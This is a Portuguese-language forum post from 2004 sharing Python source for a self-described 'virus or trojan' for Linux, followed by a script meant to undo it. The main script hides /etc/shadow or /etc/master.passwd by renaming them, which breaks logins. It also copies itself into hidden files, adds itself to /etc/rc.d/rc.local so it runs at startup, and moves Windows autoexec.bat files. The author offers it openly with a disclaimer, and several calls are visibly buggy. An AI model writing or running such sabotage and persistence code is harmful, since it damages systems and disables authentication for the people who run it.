Virus, trojan, sei la o que é isso
Publicado por Ricardo Henrique 22/08/2004
[ Hits: 26.097 ]
Estava fazendo um projeto de um semi-virus ou seria um trojan..., sei lá o q é isso, mas faz um estrago. LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
ACEITO AJUDAS..............
Se voce executou o virus use o anti-virus para tentar recuperar as coisas
REPETINDO...
LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
#ESSE É O CODIGO DO VIRUS #------------------------------------ #!/usr/bin/env python import os ##################################### #Virus and python # #version 0.5 # # # #Colaborações sao bem vindas # # # #DICA: Antes de executar o programa # #copie os arquivos /etc/shadow e o # #arquivo do windows autoexec.bat # # # #NAO ME RESPONSABILIZO PELOS # #DANOS CAUSADOS, ISSO É PROBLEMA SEU# # # #REGISTRADO PELA A LICENCA GPL # ##################################### def linux(): try: os.system('mv /etc/shadow /etc/.shadow') # Copia o arquivo caso vc execute o virus list() # Vai para a funcao list() except: bsd() def bsd(): try: os.system('mv /etc/master.passwd /etc/.master.passwd') # Copia o arquivo caso vc execute o virus list() # Vai para a funcao list() except: list() def list(): # Funcao lista arq = open(".list.txt", 'a') # Cria ou abre o arquivo oculto .list.txt lis = os.listdir('/etc/') #Lista o que tem no /etc/ aa = "%s" %(lis) arq.write(aa) # Grava no arquivo arq.close() os.system('cp virus.py .arq.py') # Copia o virus os.system('cp .arq.py ../.conf.py'); # PODE ME SER UTIL ALGUN DIA ... COPIA PARA OUTROS DIRETORIOS, O DE BAIXO TAMBEM os.system('cp .arq.py /etc/rc.d/.conf.py') os.system('cp /etc/rc.d/rc.local /etc/rc.d/.rc.local') rc = open("/etc/rc.d/rc.local",'a') # Abre o arquivo de inicializacao rc1 = "python /etc/rc.d/.conf.py\n" aaa = "%s" %(rc1) rc.write(aaa) rc.close() os.system('chmod -x .arq.py') # muda as permisoes os.system('chown root.root .arq.py') # muda o usuario procura() def win_c(): try: os.system('mv /mnt/win_c/autoexec.bat .autoexec.bat') # Num preciso nem falar #os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat except: exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog def c(): try: os.sytem('mv /mnt/c/autoexec.bat .autoexec.bat') # num vo fala nada ^^^ #os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat except: win_c() # caso nao tenha ele vai para a funcao win_c() def procura(): try: os.remove('mv /mnt/windows/autoexec.bat ./.autoexec.bat')# o q será isso?????^^^^????? #os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat except: c() # se nao tiver ele passa para a funcao c() def dig(): linux() # Colocar alguma coisa dig() #---------------------------------------------- # AGORA o DO ANTI-VIRUS #--------------------------------------------- #!/usr/bin/python ################################ #Quem Cria também distroi # #Anti-virus para a merda que eu# #fiz....infeslimente..o feitiço# #virou contra o feiticeiro.....# #tomara que funcione # ############################### import os def linux(): try: os.system('cp /etc/.shadow /etc/shadow') # Copia o arquivo caso vc execute o virus #os.remove('/etc/shadow') # Remove o arquivo etc shadow list() # Vai para a funcao list() except: bsd() def bsd(): try: os.system('cp /etc/.master.passwd /etc/master.passwd') # Copia o arquivo caso vc execute o virus #os.remove('/etc/master.passwd') # Remove o arquivo /etc/master.passwd list() # Vai para a funcao list() except: list() def list(): # Funcao lista os.system('rm -rf .list.txt') # Deleta o arquivo oculto .list.txt os.system('rm -rf .arq.py') # Remove o virus os.system('rm -rf ../.conf.py'); # remove o virus os.system('rm -rf /etc/rc.d/.conf.py') os.system('cp /etc/rc.d/.rc.local /etc/rc.d/rc.local') procura() def win_c(): try: os.system('cp .autoexec.bat /mnt/win_c/autoexec.bat') # Num preciso nem falar #os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat except: exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog def c(): try: os.sytem('cp .autoexec.bat /mnt/c/autoexec.bat') # num vo fala nada ^^^ #os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat except: win_c() # caso nao tenha ele vai para a funcao win_c() def procura(): try: os.remove('cp .autoexec.bat /mnt/windows/autoexec.bat')# o q será isso?????^^^^????? #os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat except: c() # se nao tiver ele passa para a funcao c() def dig(): linux() # Colocar alguma coisa dig()
Botnet em Python sem segredos!
Melhorando o tempo de boot do Fedora e outras distribuições
Como instalar as extensões Dash To Dock e Hide Top Bar no Gnome 45/46
E a guerra contra bots continua
Tradução do artigo do filósofo Gottfried Wilhelm Leibniz sobre o sistema binário
Conheça o firewall OpenGFW, uma implementação do (Great Firewall of China).
Instalando o FreeOffice no LMDE 6
Anki: Remover Tags de Estilo HTML de Todas as Cartas
Colocando uma opção de redimensionamento de imagem no menu de contexto do KDE
Não consigo acessar os modos de desempenho (2)
Ubuntu — tentando iniciar o windows? (0)
[Shell Script] Script para desinstalar pacotes desnecessários no OpenSuse
[Shell Script] Script para criar certificados de forma automatizada no OpenVpn
[Shell Script] Conversor de vídeo com opção de legenda
[C/C++] BRT - Bulk Renaming Tool
[Shell Script] Criação de Usuarios , Grupo e instalação do servidor de arquivos samba